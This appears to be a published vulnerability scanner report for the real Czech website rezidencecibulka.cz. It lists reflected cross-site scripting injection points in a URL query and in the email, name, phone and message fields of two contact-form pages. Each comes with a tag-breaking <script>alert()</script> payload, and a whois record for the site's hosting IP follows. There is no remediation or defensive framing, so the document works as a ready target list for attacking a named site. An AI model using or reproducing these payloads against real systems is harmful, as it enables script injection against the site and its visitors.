rezidencecibulka.cz

XSS

Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79

http://www.rezidencecibulka.cz/language/?'"--></style></script><script>alert(0x00007F)</script>


http://www.rezidencecibulka.cz/kontakt.html
Parameter Name: email
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x00022E)</script>

http://www.rezidencecibulka.cz/kontakt.html
Parameter Name: jmeno
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000238)</script>

http://www.rezidencecibulka.cz/kontakt.html
Parameter Name: tel
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x00023E)</script>

http://www.rezidencecibulka.cz/-9.html
Parameter Name: email
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000248)</script>

http://www.rezidencecibulka.cz/-9.html
Parameter Name: jmeno
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x00024E)</script>

http://www.rezidencecibulka.cz/-9.html
Parameter Name: tel
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000256)</script>

http://www.rezidencecibulka.cz/kontakt.html
Parameter Name: zprava
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000246)</script>

http://www.rezidencecibulka.cz/-9.html
Parameter Name: zprava
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x00025D)</script>

=------------------------------=

Whois result for IP address 93.185.102.11:

% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '93.185.102.0 - 93.185.102.255'

inetnum:        93.185.102.0 - 93.185.102.255
netname:        CUSTOMERS-II
descr:          network for our customers
country:        CZ
admin-c:        VS2641-RIPE
tech-c:         VS2641-RIPE
status:         ASSIGNED PA
mnt-by:         MNT-VSHOSTING
mnt-lower:      MNT-VSHOSTING
mnt-routes:     MNT-VSHOSTING
source:         RIPE # Filtered

role:           VShosting Skupina
address:        Tiskarska 10
address:        Praha 10
address:        Czech Republic
phone:          +420246035835
e-mail:         lir@vshosting.cz
org:            ORG-Vs21-RIPE
admin-c:        DS6745-RIPE
admin-c:        JM6252-RIPE
admin-c:        TR1888-RIPE
tech-c:         DS6745-RIPE
tech-c:         JM6252-RIPE
mnt-by:         MNT-VSHOSTING
nic-hdl:        VS2641-RIPE
source:         RIPE # Filtered

% Information related to '93.185.96.0/20AS43541'

route:          93.185.96.0/20
descr:          VSHOSTING II.
origin:         AS43541
mnt-by:         MNT-VSHOSTING
source:         RIPE # Filtered